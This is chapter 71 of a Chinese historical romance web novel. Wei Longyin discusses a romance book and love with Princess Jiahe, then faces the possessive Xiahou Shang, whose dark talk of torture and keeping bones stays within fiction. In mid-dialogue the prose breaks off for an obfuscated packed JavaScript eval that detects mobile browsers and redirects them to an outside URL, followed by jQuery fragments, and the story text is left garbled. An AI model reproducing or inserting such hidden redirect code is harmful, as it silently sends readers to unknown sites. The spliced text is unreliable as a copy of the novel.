71. 第 71 章

作品:《折她

    “我在百色斋买东西,正好看见郡主,便不请自来了。”卫珑音弯了弯眉,“郡主可约了人?”


    嘉和郡主道:“我在家里呆的无聊,便出来转转,并未约人。”


    说罢,指了指旁边的位置,“卫姊姊,请坐。”


    卫珑音落座后,见桌上放着几册话本子,拿起其中一本随手翻开。她寻常看的消遣书都是教条之中广为流传的,鲜有如此猎奇的话本子。


    话本子名为《被迫成了仇人的暖床婢》,一看名字便知是一个冲突性极强的故事,男女主之间隔着深仇大恨,也不知男女主的结局如何?


    这般想着,便迫不及待地翻到最后一页。


    仇恨骤消,男女主不仅相爱了,还生了一对可爱的儿女。女主从暖床婢成为当家主母,男主至此一生唯有女主,无通房无妾室。


    卫珑音咋舌,指了指手中的话本子,便问嘉和郡主:“郡主已经看过了吗?”


    嘉和郡主将视线投向书名,转瞬不好意思地红了红脸:“嗯,看过了。”


    男女主彼此憎恨,女主更是为男主家族所不容,如此天崩地裂的开局,男女主都能相爱相守,她和霍小将军凭什么不行?


    看完这本书,让她觉得她和霍小将军之间的阻碍似乎也不算什么。


    一、霍小将军对她没有仇恨。


    二、霍家人也并不讨厌她。


    三、她听父王母妃分析过,大概是因为卫珑音是未来的太子妃,陛下不欲霍家权势更盛,才不同意两家结亲。


    卫珑音不太能理解仇恨能开出情爱的花朵,迟疑道:“男主偏执变态,为了报复女主,让曾为世家女的高贵女主沦落为低贱卑微的暖床婢,欺辱她,让她没了尊严,没了自由……这真的能有爱吗?”


    她不禁想到上辈子的夏侯觞,比书中的男主更可怕,让她死后都不得安宁,狠到将她挫骨扬灰,尸骨不存。


    嘉和郡主托腮,认真想了想,说:“大体世间情爱应该不是千篇一律的,有循规蹈矩的日久生情,细水长流;自也有一见钟情,再见非卿不嫁娶;还有因爱生恨,相看两厌;那么,爱能生恨,为何恨中不能挣扎生出爱意?人品正直贵重的人,会有喜欢人,品性卑劣的坏人,也会有真心喜欢的人。”


    这番独特的见解骤然激起千层浪,卫珑音诧异地张了张嘴,半晌,才道:“郡主缘何了悟如此透彻?”


    嘉和郡主咬了咬唇,支支吾吾道:“还不是前些日子,心中抑郁苦闷,我便读了许多许多的话本子,打算开解自己……”


    原以为能将心底的人抛却,哪知道读的越多,霍小将军在她脑海里越发清晰。


    从循规蹈矩的‘窈窕淑女、君子好逑’,到‘恨海情天’,再到炸裂的‘强取豪夺、威逼利诱’,她涉猎之广,让以前孤陋寡闻的自己大大开了一番眼界。


    卫珑音看向满面绯红的嘉和郡主,想到前世颖安老王爷带着妻女远离邺京,以保全老小性命,她并不知道嘉和郡主后半辈子过得如何,是否嫁给一个如意郎君?


    若有,绝对不是已死的霍安邦。


    卫珑音心念一转:“不知郡主对大表兄源自哪种情?”


    嘉和郡主俏丽的脸蛋更红了,手拿团扇慢慢地摇晃了几下,眉眼里溢出几分羞怯的笑意:“没有落水相救之恩,我原也是极喜欢他。他第一次随父出征,我与三两小姐妹在高楼玩乐寻闹,手中的绢帕不小心落了下去,恰好落在他怀中……”


    那时的霍安邦尚未变成稳重成熟的霍小将军,有着少年郎的稚气,鲜衣怒马,意气飞扬。


    他抬头看向楼上,两人四目相对,那一眼,恍似一眼万年。


    一见钟情,芳心暗许。


    但是,霍安邦对她并没什么想法,看了她一眼,就移开了目光,让身边的士兵将掉落的绢帕奉还给她。


    霍安邦常年出征,鲜少在京,两人交集实在少得可怜。


    彼时,嘉和郡主尚且年幼,只能将这份暗动的心意隐藏。


    卫珑音没想到嘉和郡主和大表兄的缘分竟然开始得这么早,且是最常见的情态,一见倾心。


    “卫姊姊,这个秘密我只告诉过你,你千万要替我保密。”嘉和郡主拉着卫珑音的手,细声细气地说道,“我可不想被人笑话,也不想被你大表兄知晓。”


    “郡主放心,我不是口无遮拦之人。大表兄好福气,得郡主倾心相待。”卫珑音道。


    “可惜,他不会这样认为,估计认为不该救我,救出了我这个麻烦。”嘉和郡主黯然神伤,话一顿,又道,“也不知他何时回京?”


    霍安邦每回离京,嘉和郡主都会偷偷地站在高楼为他送行。


    此番半夜离京平乱,却没机会送他。这才凭栏眺望他离京的路,权当是补上了送行路。


    知晓了嘉和郡主与大表兄的缘分,也知道她为何这般执着,卫珑音无法劝她放弃这段感情,也无法鼓励郡主勇敢追爱,便道:“郡主不妨给自己定一个期限,期限过后,你未嫁,他未娶,便重新定义你与大表兄之间的关系。或许,你和大表兄另有转机也说不定。”


    “这个主意好。”嘉和郡主眼睛一亮,雀跃道,“便定一年之期。”


    一年之内,只要霍安邦未娶亲,她再也不会放弃他。


    一年?


    届时,夏侯觞应该已经登上了皇位。以他独揽大权的性格,定会收拢霍家的军权。


    说不定还真是嘉和郡主的转机?只是不知霍家又会处于何种境地?


    卫珑音微妙地点了点头。


    喜珠将买好的红枣甜糕送了上来,口味过于甜,卫珑音只象征性地吃了一块,其余的都进了嘉和郡主腹中。


    嘉和郡主吃了喜爱的甜食,心情愈发美丽,弯眉问道:“卫姊姊,可有真正心仪的人?就像我这般,时时刻刻都会想到他。”


    隔壁饮茶的夏侯觞瞬间摒住呼吸,竖耳倾听,冷白如玉的手指轻轻地摩挲着茶盏。


    卫珑音蒲扇般的长睫轻颤,脑海里浮现出夏侯觞俊美恣睢的面孔。


    她一时语塞:“我……”


    嘉和郡主后知后觉地反应过来,一拍脑门:“瞧我问的什么蠢问题,卫姊姊要做太子妃,自是心仪太子。”


    卫珑音沉默,没有吭声。


    夏侯觞听了半晌,都没有听到答案,他眸色沉了沉,斜晖映着黑不见底的瞳孔。


    漫天的红霞一点点消失在天际,嘉和郡主见时辰不早了,害怕父王母妃担忧,便先走了。


    卫珑音倚在窗边出神,细若葱根的手指抚上起伏不定的心口,她面上冷静自若,实则心绪翻涌,经久不平。


    真正心仪的人,时时刻刻都会想到他?


    卫珑音垂下长睫,是这样吗?


    近些日子,她确实想起夏侯觞的次数越来越频繁。


    从前世她对他的惧怕,到如今的坦然,以及他数次出手相护,再到身世揭破,他的肆无忌惮,却始终未曾真正伤害她……她和前世的夏侯觞做尽了亲密事,他囚她当笼中鸟雀,从未涉及情爱。


    这一世,不知不觉间,她和他经历了诸多事,际遇大不相同。


    卫珑音思潮涌动,最后一缕霞光隐入云间,街道两侧次第亮起大红灯笼,折射的光亮笼罩于身。


    不过瞬息,身侧的光影被另一重黑影覆盖。


    一双铁钳般的手臂从她腰间伸出,撑在窗棂两侧,将她的身子环住。


    她睫毛颤动,熟悉的气息将她淹没,侧眸看见的却是一张极其普通的面孔。


    夏侯觞戏谑道:“认不出我了?”


    一手撕下脸上的人/皮面具,显露出昳丽真容。


    从外面如厕归来的喜珠,见来人是侯夏,又淡定地开门出去了,自发守在门口望风。


    小姐应该是喜欢侯夏的吧?否则,怎会纵容他至此。


    喜珠想。


    那侯夏长得跟个勾人心魄的艳鬼似的,将小姐勾得五迷三道,都不记得自己是已有婚约之人。


    等候在大堂的青玄见喜珠杵在门外,目光涣散地发呆,忍不住上来问道:“为何没在里面伺候?”


    喜珠暗暗捏紧手指,面不改色道:“小姐想静一静,不想我伺候。”


    青玄看了一眼紧闭的房门,直觉有些不对劲儿,但他仔细听过后,没发现异常。


    屋内只有女子轻缓的呼吸,没有其他人。


    人的呼吸频率不同,习武之人可由呼吸频率辨别异常。当青玄与喜珠说话时,夏侯觞早已屏气凝神,收敛周身气息。


    青玄原想守在门口,但喜珠说:“青护卫,你长得俊,好多姑娘都想过来看你,恐会打扰小姐的清静。”


    青玄摸了摸自己的脸,心想我怎么不知道自己长得俊。目光一扫,却有姑娘朝他这边打量,青玄叮嘱了喜珠一句‘若有异常,立即叫我’,转身下楼了。


    那些打量青玄的姑娘倒不是因为他长得俊,而是那一副孔武有力的身躯,有别于手无缚鸡之力的瘦弱书生。


    屋内,卫珑音担心被青玄发现,一时情急,伸手捂住夏侯觞的嘴,害怕他故意搞出动静。


    青玄一离开,她紧绷的神经略松懈。


    下一刻,一阵令她头皮发麻的黏腻触感从手心传来,卫珑音一个激灵缩回手,杏眸睁大,恼怒地瞪向始作俑者。


    “你太大胆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655382|164539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,当真不怕被我的护卫发现,将你当成刺客当场杀之。”


    夏侯觞轻哼:“就凭他?”


    这个世上,想要他死的人不胜凡几,还真没几人能真要得了他的性命。


    除非,他自愿给。


    他埋首香软颈间,灼热的呼吸喷洒在肌肤,他冷不丁问道:“小姐不敢回答,可是心仪太子?”


    喑哑的声音带着意味不明的妒意。


    明明听她说过不喜夏侯康的话,可只要想到她顶着‘准太子妃’的名分,就忍不住处处拈酸较量。


    卫珑音心知夏侯觞必定偷听了她和嘉和郡主的谈话,他以为她的沉默,便是默认自己心仪太子。


    这便是有些无理取闹了。


    对于嘉和郡主的问题,她根本就没法回答。


    脊背贴着男人滚烫似火的身躯,热度氤得她白皙的小脸犹如红云,卫珑音动了动唇:“不回,只是因为不想违心,而非默认。”


    终于得到满意的答案,夏侯觞黑沉的面色肉眼可见地缓和了一些,也变得甚好说话,卫珑音让他松手让开,他便听话地退后一步,不再以那般亲昵的姿态环抱住她。


    卫珑音不欲被旁人瞧见,抬手关窗,回身就见夏侯觞坐在桌边,随手翻阅起嘉和郡主留下的话本子。


    夏侯觞好整以暇地看向卫珑音,骨节分明的手抚过书名,一字字道:“被迫成了仇人的暖床婢……这便是你们刚才探讨的……情爱?”


    低磁的声音刻意加重了‘暖床婢’、‘情爱’几字,被他勾勒出别样的深意。


    话本子太过不正经,卫珑音羞愤咬唇,伸手欲要夺书:“还给我。”


    夏侯觞手一抬,便轻而易举躲了过去。


    卫珑音登时扑入了夏侯觞怀中,他诡谲的凤眼微微一眯,另一手顺势揽上她纤细的腰肢,将她搂坐在他双膝上:“原来小姐喜欢这种调调?”


    对上男人戏谑的目光,卫珑音小脸红得如滴血:“你胡说。”


    夏侯觞丢开话本子,将她的玉手握在掌心,细细把玩:“小姐的手真漂亮。”


    上辈子的夏侯觞最喜的便是她的手,不仅能帮他纾解欲/望,还能帮他揉捏按摩,十分享受她的服侍。


    电光火石般,一个不可思议的念头骤然浮现。


    卫珑音抿着唇角,忽然低声问道:“如果你恨一个人,在她死后,将会如何对待她的尸首?”


    夏侯觞低头亲了亲她的指尖,漫不经心道:“如果是我所恨的人,肯定要在生前将他狠狠折磨一番,所有的刑讯手段都要招呼一轮,挖其眼,断其腿。如果撑不过就死了,便将他的尸首鞭笞数百下,再扔到乱葬岗任财狼啃食。”


    见她面白不语,他轻抚她的脸颊:“又吓到小姐了?小姐非我仇人,自不会如此。”


    这是他为老东西准备的身后事。


    卫珑音抬起水雾朦胧的眸子,定定地看着夏侯觞:“如果是我死了,你当如何?”


    “没有如果。”夏侯觞沉眸,“我会保小姐平安无虞,此生无灾。”


    “世事无常,如果我真的死在你面前,你当如何?”卫珑音执着道。


    “如果小姐为人所害,我会杀光所有害你的人,然后将你的尸骨挫骨扬灰,定不会让你的尸骨在肮脏的泥土里腐烂生蛆。”夏侯觞一想起卫珑音可能会死,连呼吸都是刺痛的,皮囊之下意欲焚毁一切的凶煞之气几乎压不住,他的手无意识收紧,不禁攥疼了卫珑音的手。


    他低头,轻道:“我会将小姐的手指做成骨戒,日日佩戴,犹如小姐日日陪在我身边……虽死犹在。”


    也许,他厌倦了没有她的日子,会放一把火将自己一并扬了,让他的骨灰与她的骨灰交融,洒于天地间。


    卫珑音惊愕,难以置信地看着他。


    难道前世的夏侯觞对自己不只有恨?这也太荒谬了。


    想到自己的结局,她滞涩道:“人死了,难道不该入土为安吗?”


    “地下阴暗潮湿,生生世世被困在方寸棺椁之中,真的就安吗?”夏侯觞嗤之以鼻,这只是庸俗之人的做法,他会让她存于自由天地,不知黑暗为何物。


    他生于黑暗,那真不是什么好地方。


    对于喜欢在意的人,怎能让她置身永不见天日的黑暗之中?哪怕是死了,也不行。


    夏侯觞偏执,变态,疯魔,不能以常理度之。


    但这的确是前世的夏侯觞。


    她不知夏侯觞对她,是否真如嘉和郡主所说,恨中挣扎生出爱意。


    但她明白了一件事,她被囚困在夏侯觞身边三年,至少在她死后,他不恨她,他舍不得她死,他希望她活。